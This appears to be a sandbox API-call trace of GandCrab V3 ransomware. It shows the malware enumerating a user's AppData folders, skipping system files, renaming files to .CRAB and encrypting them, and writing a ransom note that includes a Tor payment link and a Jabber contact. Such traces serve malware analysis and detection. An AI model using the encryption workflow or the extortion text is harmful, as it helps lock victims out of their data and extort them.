	[0112.543] CryptGetKeyParam (in: hKey=0xda7930, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.543] CryptEncrypt (in: hKey=0xda7930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.543] GetLastError () returned 0x0
	[0112.543] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.543] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\preferred.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.543] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.544] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.544] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x18, lpOverlapped=0x0) returned 1
	[0112.553] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.553] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.554] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.554] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.554] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x20, lpOverlapped=0x0) returned 1
	[0112.554] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.554] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.558] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.558] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.558] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.558] CloseHandle (hObject=0x3f8) returned 1
	[0112.562] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.563] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.563] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.563] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.563] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.564] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.564] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0112.564] FindClose (in: hFindFile=0xda74f0 | out: hFindFile=0xda74f0) returned 1
	[0112.564] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.564] lstrcmpW (lpString1="SYNCHIST", lpString2=".") returned 1
	[0112.564] lstrcmpW (lpString1="SYNCHIST", lpString2="..") returned 1
	[0112.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST"
	[0112.564] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.565] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64
	[0112.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64
	[0112.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64
	[0112.565] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="desktop.ini") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="autorun.inf") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="ntuser.dat") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="iconcache.db") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="bootsect.bak") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="boot.ini") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="ntuser.dat.log") returned 1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="thumbs.db") returned -1
	[0112.565] lstrcmpiW (lpString1="SYNCHIST", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.565] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.565] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB") returned 69
	[0112.565] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\synchist")) returned 0x26
	[0112.565] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST", dwFileAttributes=0x26) returned 1
	[0112.566] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\synchist"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\synchist.crab")) returned 1
	[0112.567] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.567] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB"
	[0112.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB.CRAB"
	[0112.567] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.567] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.568] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.568] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.568] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.568] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.568] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.569] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.569] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.569] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.569] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.569] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.570] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.570] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.570] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0112.571] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda74f0) returned 1
	[0112.571] CryptGetKeyParam (in: hKey=0xda74f0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.571] CryptEncrypt (in: hKey=0xda74f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.571] GetLastError () returned 0x0
	[0112.571] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.571] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.572] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda7970) returned 1
	[0112.572] CryptGetKeyParam (in: hKey=0xda7970, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.572] CryptEncrypt (in: hKey=0xda7970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.572] GetLastError () returned 0x0
	[0112.572] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.572] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\synchist.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.573] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.573] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.573] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x4c, lpOverlapped=0x0) returned 1
	[0112.585] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.586] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.586] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.586] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffffb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.586] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x50, lpOverlapped=0x0) returned 1
	[0112.587] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.587] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.590] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.591] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.591] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.591] CloseHandle (hObject=0x3f4) returned 1
	[0112.592] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.592] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.592] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.592] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.593] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.593] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.593] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.593] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.593] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.593] lstrcmpW (lpString1="Publisher", lpString2=".") returned 1
	[0112.593] lstrcmpW (lpString1="Publisher", lpString2="..") returned 1
	[0112.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher"
	[0112.593] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\"
	[0112.593] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.594] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.594] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.594] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.594] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.594] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.594] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.594] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\\\CRAB-DECRYPT.txt") returned 75
	[0112.594] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.595] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.595] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.596] CloseHandle (hObject=0x3f0) returned 1
	[0112.596] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.596] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\") returned 58
	[0112.596] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*"
	[0112.596] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.596] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.596] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.597] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.597] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.597] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.597] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.597] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt"
	[0112.597] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.597] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt") returned 74
	[0112.597] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt") returned 74
	[0112.597] lstrlenW (lpString=".txt") returned 4
	[0112.597] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.597] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.597] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.598] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt") returned 74
	[0112.598] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher\\CRAB-DECRYPT.txt") returned 74
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.598] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.598] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.598] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.598] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.598] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.598] lstrcmpW (lpString1="Publisher Building Blocks", lpString2=".") returned 1
	[0112.598] lstrcmpW (lpString1="Publisher Building Blocks", lpString2="..") returned 1
	[0112.598] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks"
	[0112.598] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\"
	[0112.598] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.599] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
